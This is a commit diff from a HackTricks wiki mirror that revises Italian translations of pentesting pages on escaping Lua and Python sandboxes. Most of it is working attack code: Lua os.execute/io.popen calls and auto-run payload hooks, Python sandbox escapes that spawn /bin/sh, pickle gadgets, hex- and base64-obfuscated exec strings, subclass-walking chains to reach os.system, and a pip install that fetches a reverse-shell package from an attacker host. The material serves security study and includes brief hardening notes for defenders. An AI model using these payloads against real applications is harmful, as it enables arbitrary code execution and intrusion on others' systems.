mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/web-vulnerabilities-methodology/README.m
This commit is contained in:
parent
71cf3e101b
commit
61dfb70a5e
@ -2,17 +2,17 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Questa pagina raccoglie tecniche pratiche per enumerare e uscire da Lua "sandboxes" integrate nelle applicazioni (in particolare game clients, plugins o in-app scripting engines). Molti engine espongono un ambiente Lua ristretto, ma lasciano globals potenti raggiungibili che permettono l'esecuzione arbitraria di comandi o persino la corruzione della memoria nativa quando sono esposti bytecode loaders.
|
||||
Questa pagina raccoglie tecniche pratiche per enumerare e uscire dalle Lua "sandboxes" integrate nelle applicazioni (in particolare game clients, plugins o in-app scripting engines). Molti engine espongono un ambiente Lua ristretto, ma lasciano globals potenti raggiungibili che permettono l'esecuzione arbitraria di comandi o anche la corruzione nativa della memoria quando sono esposti bytecode loaders.
|
||||
|
||||
Concetti chiave:
|
||||
- Treat the VM as an unknown environment: enumerate _G and discover what dangerous primitives are reachable.
|
||||
- When stdout/print is blocked, abuse any in-VM UI/IPC channel as an output sink to observe results.
|
||||
- If io/os is exposed, you often have direct command execution (io.popen, os.execute).
|
||||
- If load/loadstring/loadfile are exposed, executing crafted Lua bytecode can subvert memory safety in some versions (≤5.1 verifiers are bypassable; 5.2 removed verifier), enabling advanced exploitation.
|
||||
- Considera la VM come un ambiente sconosciuto: enumera _G e scopri quali primitive pericolose sono raggiungibili.
|
||||
- Quando stdout/print è bloccato, sfrutta qualsiasi canale UI/IPC in-VM come sink di output per osservare i risultati.
|
||||
- Se io/os è esposto, spesso puoi ottenere esecuzione diretta di comandi (io.popen, os.execute).
|
||||
- Se load/loadstring/loadfile sono esposti, l'esecuzione di bytecode Lua appositamente creato può compromettere la sicurezza della memoria in alcune versioni (≤5.1 i verifier sono bypassabili; 5.2 ha rimosso il verifier), permettendo exploitation avanzata.
|
||||
|
||||
## Enumerare l'ambiente sandbox
|
||||
## Enumerare l'ambiente sandboxed
|
||||
|
||||
- Dump the global environment to inventory reachable tables/functions:
|
||||
- Esegui il dump dell'ambiente globale per inventariare le tabelle/funzioni raggiungibili:
|
||||
```lua
|
||||
-- Minimal _G dumper for any Lua sandbox with some output primitive `out`
|
||||
local function dump_globals(out)
|
||||
@ -22,7 +22,7 @@ out(tostring(k) .. " = " .. tostring(v))
|
||||
end
|
||||
end
|
||||
```
|
||||
- Se print() non è disponibile, riutilizza i canali in-VM. Esempio tratto da una VM di script per housing di un MMO in cui l'output della chat funziona solo dopo la riproduzione di un suono; il seguente costruisce una funzione di output affidabile:
|
||||
- Se print() non è disponibile, riutilizza i canali in-VM. Esempio tratto da uno script VM per il housing di un MMO in cui l'output della chat funziona solo dopo una sound call; quanto segue costruisce una funzione di output affidabile:
|
||||
```lua
|
||||
-- Build an output channel using in-game primitives
|
||||
local function ButlerOut(label)
|
||||
@ -39,11 +39,11 @@ local out = ButlerOut(1)
|
||||
dump_globals(out)
|
||||
end
|
||||
```
|
||||
Generalizza questo pattern per il tuo target: qualsiasi textbox, toast, logger o UI callback che accetta stringhe può fungere da stdout per reconnaissance.
|
||||
Generalizza questo schema per il tuo target: qualsiasi campo di testo, toast, logger o callback UI che accetti stringhe può fungere da stdout per la ricognizione.
|
||||
|
||||
## Esecuzione diretta di comandi se io/os è esposto
|
||||
|
||||
Se la sandbox espone ancora le librerie standard io o os, è probabile che tu possa eseguire comandi immediatamente:
|
||||
Se la sandbox espone ancora le librerie standard io o os, è probabile che tu abbia esecuzione immediata di comandi:
|
||||
```lua
|
||||
-- Windows example
|
||||
io.popen("calc.exe")
|
||||
@ -53,12 +53,12 @@ os.execute("/usr/bin/id")
|
||||
io.popen("/bin/sh -c 'id'")
|
||||
```
|
||||
Note:
|
||||
- L'esecuzione avviene all'interno del processo client; molti layer anti-cheat/antidebug che bloccano debugger esterni non impediranno la creazione di processi dentro la VM.
|
||||
- Controllare anche: package.loadlib (caricamento arbitrario di DLL/.so), require con moduli nativi, LuaJIT's ffi (se presente), and the debug library (can raise privileges inside the VM).
|
||||
- L'esecuzione avviene all'interno del processo client; molti strati anti-cheat/antidebug che bloccano debugger esterni non impediranno la creazione di processi in-VM.
|
||||
- Controllare anche: package.loadlib (caricamento arbitrario di DLL/.so), require con native modules, LuaJIT's ffi (se presente), e la debug library (può elevare i privilegi all'interno della VM).
|
||||
|
||||
## Trigger Zero-click tramite auto-run callbacks
|
||||
## Zero-click triggers tramite auto-run callbacks
|
||||
|
||||
Se l'applicazione host invia script ai client e la VM espone auto-run hooks (es. OnInit/OnLoad/OnEnter), piazza il tuo payload lì per una compromissione drive-by non appena lo script viene caricato:
|
||||
Se l'applicazione host invia script ai client e la VM espone hook di auto-run (es. OnInit/OnLoad/OnEnter), posiziona il tuo payload lì per una compromissione drive-by non appena lo script viene caricato:
|
||||
```lua
|
||||
function OnInit()
|
||||
io.popen("calc.exe") -- or any command
|
||||
@ -66,16 +66,16 @@ end
|
||||
```
|
||||
Qualsiasi callback equivalente (OnLoad, OnEnter, etc.) generalizza questa tecnica quando gli script vengono trasmessi ed eseguiti automaticamente sul client.
|
||||
|
||||
## Dangerous primitives to hunt during recon
|
||||
## Primitive pericolose da cercare durante il recon
|
||||
|
||||
Durante l'enumerazione di _G, cerca specificamente:
|
||||
- io, os: io.popen, os.execute, file I/O, env access.
|
||||
- load, loadstring, loadfile, dofile: eseguire sorgente o bytecode; supporta il caricamento di bytecode non attendibile.
|
||||
- package, package.loadlib, require: caricamento dinamico di librerie e interfaccia dei moduli.
|
||||
- load, loadstring, loadfile, dofile: eseguono sorgente o bytecode; permettono il caricamento di bytecode non attendibile.
|
||||
- package, package.loadlib, require: caricamento dinamico di librerie e superficie dei moduli.
|
||||
- debug: setfenv/getfenv (≤5.1), getupvalue/setupvalue, getinfo, e hooks.
|
||||
- LuaJIT-only: ffi.cdef, ffi.load per chiamare codice nativo direttamente.
|
||||
|
||||
Minimal usage examples (if reachable):
|
||||
Esempi minimi di utilizzo (se raggiungibili):
|
||||
```lua
|
||||
-- Execute source/bytecode
|
||||
local f = load("return 1+1")
|
||||
@ -90,22 +90,22 @@ print(g())
|
||||
local mylib = package.loadlib("./libfoo.so", "luaopen_foo")
|
||||
local foo = mylib()
|
||||
```
|
||||
## Escalation opzionale: abuso dei loader di bytecode di Lua
|
||||
## Optional escalation: abusing Lua bytecode loaders
|
||||
|
||||
Quando `load`/`loadstring`/`loadfile` sono raggiungibili ma `io`/`os` sono limitati, l'esecuzione di bytecode Lua creato ad hoc può portare a primitive di divulgazione della memoria e corruzione. Punti chiave:
|
||||
- Lua ≤ 5.1 includeva un verificatore di bytecode che ha bypass noti.
|
||||
- Lua 5.2 ha rimosso il verificatore completamente (posizione ufficiale: le applicazioni dovrebbero semplicemente rifiutare i precompiled chunks), ampliando la superficie di attacco se il caricamento di bytecode non è proibito.
|
||||
- Tipici workflow: leak pointers via in-VM output, craft bytecode per creare type confusions (es., attorno a FORLOOP o altri opcodes), quindi pivotare verso arbitrary read/write o native code execution.
|
||||
Quando load/loadstring/loadfile sono raggiungibili ma io/os sono limitati, l'esecuzione di crafted Lua bytecode può portare a memory disclosure and corruption primitives. Punti chiave:
|
||||
- Lua ≤ 5.1 aveva un bytecode verifier con bypass noti.
|
||||
- Lua 5.2 ha rimosso completamente il verifier (posizione ufficiale: le applicazioni dovrebbero semplicemente rifiutare i precompiled chunks), ampliando la superficie d'attacco se il bytecode loading non è proibito.
|
||||
- Tipici workflow: leak pointers via in-VM output, craft bytecode per creare type confusions (es., attorno a FORLOOP o altri opcodes), poi pivotare verso arbitrary read/write o native code execution.
|
||||
|
||||
Questo percorso è specifico per engine/version e richiede RE. Vedi i riferimenti per approfondimenti, exploitation primitives e esempi di gadgetry nei giochi.
|
||||
Questo percorso è specifico per engine/versione e richiede RE. Vedi le referenze per deep dives, exploitation primitives e esempi di gadgetry nei giochi.
|
||||
|
||||
## Note di rilevamento e hardening (per i difensori)
|
||||
## Detection and hardening notes (for defenders)
|
||||
|
||||
- Lato server: rifiutare o riscrivere gli user script; usare allowlist per le API sicure; rimuovere o bindare a vuoto `io`, `os`, `load`/`loadstring`/`loadfile`/`dofile`, `package.loadlib`, `debug`, `ffi`.
|
||||
- Lato client: eseguire Lua con un `_ENV` minimale, vietare il caricamento di bytecode, reintrodurre un strict bytecode verifier o controlli di firma, e bloccare la creazione di processi dal processo client.
|
||||
- Telemetria: generare allarmi su gameclient → child process creation poco dopo lo script load; correlare con eventi UI/chat/script.
|
||||
- Server side: reject or rewrite user scripts; allowlist safe APIs; strip or bind-empty io, os, load/loadstring/loadfile/dofile, package.loadlib, debug, ffi.
|
||||
- Client side: run Lua with a minimal _ENV, forbid bytecode loading, reintroduce a strict bytecode verifier or signature checks, and block process creation from the client process.
|
||||
- Telemetry: alert on gameclient → child process creation shortly after script load; correlate with UI/chat/script events.
|
||||
|
||||
## Riferimenti
|
||||
## References
|
||||
|
||||
- [This House is Haunted: a decade old RCE in the AION client (housing Lua VM)](https://appsec.space/posts/aion-housing-exploit/)
|
||||
- [Bytecode Breakdown: Unraveling Factorio's Lua Security Flaws](https://memorycorruption.net/posts/rce-lua-factorio/)
|
||||
|
@ -1,13 +1,12 @@
|
||||
# Bypass Python sandboxes
|
||||
# Bypass delle sandbox Python
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Questi sono alcuni trucchi per bypass python sandbox protections ed eseguire comandi arbitrari.
|
||||
|
||||
Questi sono alcuni trucchi per il bypass delle protezioni delle sandbox Python e per eseguire comandi arbitrari.
|
||||
|
||||
## Librerie per l'esecuzione di comandi
|
||||
|
||||
La prima cosa che devi sapere è se puoi eseguire codice direttamente con qualche libreria già importata, o se puoi importare una qualsiasi di queste librerie:
|
||||
La prima cosa da sapere è se puoi eseguire direttamente codice con qualche libreria già importata, oppure se puoi importare una di queste librerie:
|
||||
```python
|
||||
os.system("ls")
|
||||
os.popen("ls").read()
|
||||
@ -40,21 +39,21 @@ open('/var/www/html/input', 'w').write('123')
|
||||
execfile('/usr/lib/python2.7/os.py')
|
||||
system('ls')
|
||||
```
|
||||
Ricorda che le funzioni _**open**_ e _**read**_ possono essere utili per **leggere file** all'interno del python sandbox e per **scrivere del codice** che potresti **eseguire** per **bypassare** la sandbox.
|
||||
Ricorda che le funzioni _**open**_ e _**read**_ possono essere utili per **leggere file** all'interno della python sandbox e per **scrivere del codice** che potresti **eseguire** per **bypassare** la sandbox.
|
||||
|
||||
> [!CAUTION] > **Python2 input()** function permette di eseguire codice python prima che il programma crashi.
|
||||
> [!CAUTION] > **Python2 input()** function permette di eseguire python code prima che il programma vada in crash.
|
||||
|
||||
Python cerca di **caricare le librerie dalla directory corrente prima** (il comando seguente stamperà da dove python sta caricando i moduli): `python3 -c 'import sys; print(sys.path)'`
|
||||
Python cerca di **caricare le librerie dalla directory corrente prima** (il seguente comando stamperà da dove Python carica i moduli): `python3 -c 'import sys; print(sys.path)'`
|
||||
|
||||
.png>)
|
||||
|
||||
## Bypass pickle sandbox con i pacchetti python installati di default
|
||||
## Bypass pickle sandbox con i pacchetti python preinstallati di default
|
||||
|
||||
### Pacchetti predefiniti
|
||||
|
||||
Puoi trovare una **lista dei pacchetti pre-installati** qui: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
|
||||
Nota che da un pickle puoi far sì che il python env **import arbitrary libraries** installate nel sistema.\
|
||||
Per esempio, il seguente pickle, quando caricato, importerà la libreria pip per usarla:
|
||||
You can find a **list of pre-installed** packages here: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
|
||||
Nota che da un pickle puoi fare in modo che il python env **import arbitrary libraries** installate nel sistema.\
|
||||
Per esempio, il seguente pickle, quando caricato, importerà la libreria pip per utilizzarla:
|
||||
```python
|
||||
#Note that here we are importing the pip library so the pickle is created correctly
|
||||
#however, the victim doesn't even need to have the library installed to execute it
|
||||
@ -67,7 +66,7 @@ return (pip.main,(["list"],))
|
||||
|
||||
print(base64.b64encode(pickle.dumps(P(), protocol=0)))
|
||||
```
|
||||
Per maggiori informazioni su come funziona pickle consulta questo: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
|
||||
Per maggiori informazioni su come funziona pickle consulta: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
|
||||
|
||||
### Pip package
|
||||
|
||||
@ -78,21 +77,21 @@ Se hai accesso a `pip` o `pip.main()` puoi installare un pacchetto arbitrario e
|
||||
pip install http://attacker.com/Rerverse.tar.gz
|
||||
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
|
||||
```
|
||||
Puoi scaricare il pacchetto per creare la reverse shell qui. Per favore, nota che prima di usarlo dovresti **decomprimerlo, modificare il `setup.py`, e inserire il tuo IP per la reverse shell**:
|
||||
Puoi scaricare il pacchetto per creare la reverse shell qui. Per favore, nota che prima di usarlo dovresti **decomprimerlo, modificare il `setup.py` e inserire il tuo IP per la reverse shell**:
|
||||
|
||||
{{#file}}
|
||||
Reverse.tar (1).gz
|
||||
{{#endfile}}
|
||||
|
||||
> [!TIP]
|
||||
> Questo pacchetto si chiama `Reverse`. Tuttavia, è stato appositamente creato in modo che quando esci dalla reverse shell il resto dell'installazione fallisca, quindi **non lascerai alcun pacchetto python aggiuntivo installato sul server** quando te ne andrai.
|
||||
> Questo pacchetto si chiama `Reverse`. Tuttavia, è stato appositamente creato in modo che quando esci dalla reverse shell il resto dell'installazione fallisca, quindi **non lascerai alcun pacchetto python extra installato sul server** quando te ne andrai.
|
||||
|
||||
## Eval-ing python code
|
||||
|
||||
> [!WARNING]
|
||||
> Nota che exec permette stringhe multilinea e ";", ma eval no (check walrus operator)
|
||||
> Nota che exec permette stringhe multilinea e ";", ma eval no (controlla walrus operator)
|
||||
|
||||
Se alcuni caratteri sono proibiti puoi usare la rappresentazione **hex/octal/B64** per **bypass** la restrizione:
|
||||
Se alcuni caratteri sono vietati puoi usare la rappresentazione **hex/octal/B64** come **bypass** della restrizione:
|
||||
```python
|
||||
exec("print('RCE'); __import__('os').system('ls')") #Using ";"
|
||||
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
|
||||
@ -113,7 +112,7 @@ exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x
|
||||
exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2
|
||||
exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))
|
||||
```
|
||||
### Altre librerie che consentono di usare eval su codice python
|
||||
### Altre librerie che consentono di usare eval sul codice python
|
||||
```python
|
||||
#Pandas
|
||||
import pandas as pd
|
||||
@ -127,9 +126,9 @@ df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")
|
||||
# Like:
|
||||
df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")
|
||||
```
|
||||
Vedi anche un caso reale di escape da un sandboxed evaluator nei generatori PDF:
|
||||
Vedi anche un sandboxed evaluator escape reale in generatori PDF:
|
||||
|
||||
- ReportLab/xhtml2pdf triple-bracket [[[...]]] expression evaluation → RCE (CVE-2023-33733). Abusa di rl_safe_eval per raggiungere function.__globals__ e os.system tramite attributi valutati (per esempio, il colore del font) e restituisce un valore valido per mantenere il rendering stabile.
|
||||
- ReportLab/xhtml2pdf triple-bracket [[[...]]] expression evaluation → RCE (CVE-2023-33733). Abusa di rl_safe_eval per raggiungere function.__globals__ e os.system da attributi valutati (ad esempio, colore del font) e restituisce un valore valido per mantenere stabile il rendering.
|
||||
|
||||
{{#ref}}
|
||||
reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
|
||||
@ -144,7 +143,7 @@ reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
|
||||
[y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
|
||||
## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"
|
||||
```
|
||||
## Bypass delle protezioni tramite encodings (UTF-7)
|
||||
## Bypassare le protezioni tramite codifiche (UTF-7)
|
||||
|
||||
In [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7 viene usato per caricare ed eseguire codice python arbitrario all'interno di un apparente sandbox:
|
||||
```python
|
||||
@ -157,7 +156,7 @@ return x
|
||||
#+AAo-print(open("/flag.txt").read())
|
||||
""".lstrip()
|
||||
```
|
||||
È anche possibile bypassarlo usando altre codifiche, es. `raw_unicode_escape` e `unicode_escape`.
|
||||
È anche possibile bypassarlo usando altre codifiche, ad esempio `raw_unicode_escape` e `unicode_escape`.
|
||||
|
||||
## Esecuzione Python senza chiamate
|
||||
|
||||
@ -185,13 +184,13 @@ X = exec(X)
|
||||
@'__import__("os").system("sh")'.format
|
||||
class _:pass
|
||||
```
|
||||
### RCE creando objects and overloading
|
||||
### RCE creating objects and overloading
|
||||
|
||||
Se puoi **dichiarare una class** e **creare un object** di quella class, puoi **scrivere/sovrascrivere diversi methods** che possono essere **triggered** **senza** **aver bisogno di chiamarli direttamente**.
|
||||
Se puoi **declare a class** e **create an object** di quella class, potresti **write/overwrite different methods** che possono essere **triggered** **without** **needing to call them directly**.
|
||||
|
||||
#### RCE con custom classes
|
||||
#### RCE with custom classes
|
||||
|
||||
Puoi modificare alcuni **class methods** (_sovrascrivendo i class methods esistenti o creando una nuova class_) per farli **execute arbitrary code** quando vengono **triggered** senza chiamarli direttamente.
|
||||
Puoi modificare alcuni **class methods** (_by overwriting existing class methods or creating a new class_) per farli **execute arbitrary code** quando vengono **triggered** senza chiamarli direttamente.
|
||||
```python
|
||||
# This class has 3 different ways to trigger RCE without directly calling any function
|
||||
class RCE:
|
||||
@ -241,9 +240,9 @@ __iand__ (k = 'import os; os.system("sh")')
|
||||
__ior__ (k |= 'import os; os.system("sh")')
|
||||
__ixor__ (k ^= 'import os; os.system("sh")')
|
||||
```
|
||||
#### Creazione di oggetti con [metaclasses](https://docs.python.org/3/reference/datamodel.html#metaclasses)
|
||||
#### Creare oggetti con [metaclasses](https://docs.python.org/3/reference/datamodel.html#metaclasses)
|
||||
|
||||
La cosa fondamentale che metaclasses ci permettono di fare è **creare un'istanza di una classe senza chiamare direttamente il constructor**, creando una nuova classe con la classe target come metaclass.
|
||||
La cosa principale che metaclasses ci permettono di fare è **creare un'istanza di una classe, senza chiamare il costruttore** direttamente, creando una nuova classe con la classe target come metaclass.
|
||||
```python
|
||||
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
|
||||
# This will define the members of the "subclass"
|
||||
@ -258,9 +257,9 @@ Sub['import os; os.system("sh")']
|
||||
|
||||
## You can also use the tricks from the previous section to get RCE with this object
|
||||
```
|
||||
#### Creazione di oggetti con eccezioni
|
||||
#### Creazione di oggetti con exceptions
|
||||
|
||||
Quando **viene sollevata un'eccezione**, un oggetto di **Exception** viene **creato** senza che tu debba chiamare il costruttore direttamente (un trucco di [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)):
|
||||
Quando un'**exception** viene **attivata**, un oggetto di **Exception** viene **creato** senza che tu debba chiamare direttamente il costruttore (un trucco di [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)):
|
||||
```python
|
||||
class RCE(Exception):
|
||||
def __init__(self):
|
||||
@ -280,7 +279,7 @@ k + 'import os; os.system("sh")' #RCE abusing __add__
|
||||
|
||||
## You can also use the tricks from the previous section to get RCE with this object
|
||||
```
|
||||
### Più RCE
|
||||
### Altre RCE
|
||||
```python
|
||||
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
|
||||
# If sys is imported, you can sys.excepthook and trigger it by triggering an error
|
||||
@ -302,7 +301,7 @@ __iadd__ = eval
|
||||
__builtins__.__import__ = X
|
||||
{}[1337]
|
||||
```
|
||||
### Leggi il file con builtins help & licenza
|
||||
### Leggi file con builtins help & license
|
||||
```python
|
||||
__builtins__.__dict__["license"]._Printer__filenames=["flag"]
|
||||
a = __builtins__.help
|
||||
@ -316,17 +315,17 @@ pass
|
||||
- [**Builtins functions of python2**](https://docs.python.org/2/library/functions.html)
|
||||
- [**Builtins functions of python3**](https://docs.python.org/3/library/functions.html)
|
||||
|
||||
Se puoi accedere all'oggetto **`__builtins__`** puoi importare librerie (nota che puoi anche usare qui altre rappresentazioni stringa mostrate nell'ultima sezione):
|
||||
Se puoi accedere all'oggetto **`__builtins__`** puoi importare librerie (nota che qui potresti anche usare altre rappresentazioni stringa mostrate nella sezione precedente):
|
||||
```python
|
||||
__builtins__.__import__("os").system("ls")
|
||||
__builtins__.__dict__['__import__']("os").system("ls")
|
||||
```
|
||||
### No Builtins
|
||||
|
||||
Quando non hai `__builtins__` non sarai in grado di importare nulla né tantomeno leggere o scrivere file poiché **tutte le funzioni globali** (come `open`, `import`, `print`...) **non sono caricate**.\
|
||||
Tuttavia, **per default python importa molti moduli in memoria**. Questi moduli possono sembrare innocui, ma alcuni di essi **importano anche funzionalità pericolose** al loro interno che possono essere sfruttate per ottenere persino **arbitrary code execution**.
|
||||
Se non hai `__builtins__` non potrai importare nulla né tantomeno leggere o scrivere file, dato che **tutte le funzioni globali** (come `open`, `import`, `print`...) **non sono caricate**.\
|
||||
Tuttavia, **per default python importa molti moduli in memoria**. Questi moduli possono sembrare benigni, ma alcuni di essi stanno **anche importando funzionalità pericolose** al loro interno che possono essere accessate per ottenere persino **arbitrary code execution**.
|
||||
|
||||
Negli esempi seguenti puoi osservare come **abusare** di alcuni di questi moduli "**apparentemente innocui**" caricati per **accedere** a **funzionalità** **pericolose** al loro interno.
|
||||
Negli esempi seguenti puoi osservare come **abusare** di alcuni di questi moduli "**benigni**" caricati per **accedere** a **funzionalità** **pericolose** al loro interno.
|
||||
|
||||
**Python2**
|
||||
```python
|
||||
@ -370,7 +369,7 @@ get_flag.__globals__['__builtins__']
|
||||
```
|
||||
[**Below there is a bigger function**](#recursive-search-of-builtins-globals) per trovare decine/**centinaia** di **posti** dove puoi trovare i **builtins**.
|
||||
|
||||
#### Python2 e Python3
|
||||
#### Python2 and Python3
|
||||
```python
|
||||
# Recover __builtins__ and make everything easier
|
||||
__builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
|
||||
@ -410,15 +409,15 @@ class_obj.__init__.__globals__
|
||||
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
|
||||
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
|
||||
```
|
||||
[**Below there is a bigger function**](#recursive-search-of-builtins-globals) to find tens/**hundreds** of **places** were you can find the **globals**.
|
||||
[**Below there is a bigger function**](#recursive-search-of-builtins-globals) per trovare decine/**centinaia** di **posti** dove puoi trovare le **globals**.
|
||||
|
||||
## Discover Arbitrary Execution
|
||||
## Scoprire Arbitrary Execution
|
||||
|
||||
Qui voglio spiegare come scoprire facilmente **funzionalità caricate più pericolose** e proporre exploits più affidabili.
|
||||
Qui voglio spiegare come scoprire facilmente **funzionalità più pericolose caricate** e proporre exploit più affidabili.
|
||||
|
||||
#### Accesso alle sottoclassi con bypass
|
||||
|
||||
Una delle parti più sensibili di questa tecnica è poter **accedere alle sottoclassi base**. Negli esempi precedenti questo è stato fatto usando `''.__class__.__base__.__subclasses__()` ma ci sono **altri modi possibili**:
|
||||
Una delle parti più delicate di questa tecnica è poter **accedere alle sottoclassi di base**. Negli esempi precedenti questo è stato fatto usando `''.__class__.__base__.__subclasses__()` ma esistono **altri modi possibili**:
|
||||
```python
|
||||
#You can access the base from mostly anywhere (in regular conditions)
|
||||
"".__class__.__base__.__subclasses__()
|
||||
@ -446,18 +445,18 @@ defined_func.__class__.__base__.__subclasses__()
|
||||
(''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read()
|
||||
(''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read()
|
||||
```
|
||||
### Trovare librerie pericolose caricate
|
||||
### Trovare librerie caricate pericolose
|
||||
|
||||
Ad esempio, sapendo che con la libreria **`sys`** è possibile **importare librerie arbitrarie**, puoi cercare tutti i **moduli caricati che hanno importato sys al loro interno**:
|
||||
Ad esempio, sapendo che con la libreria **`sys`** è possibile **import arbitrary libraries**, puoi cercare tutti i **modules loaded that have imported sys inside of them**:
|
||||
```python
|
||||
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
|
||||
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
|
||||
```
|
||||
Ce ne sono molti, e **ne serve solo uno** per eseguire comandi:
|
||||
Ce ne sono molti, e **ne basta uno** per eseguire comandi:
|
||||
```python
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
|
||||
```
|
||||
Possiamo fare la stessa cosa con **altre librerie** che sappiamo possono essere usate per **eseguire comandi**:
|
||||
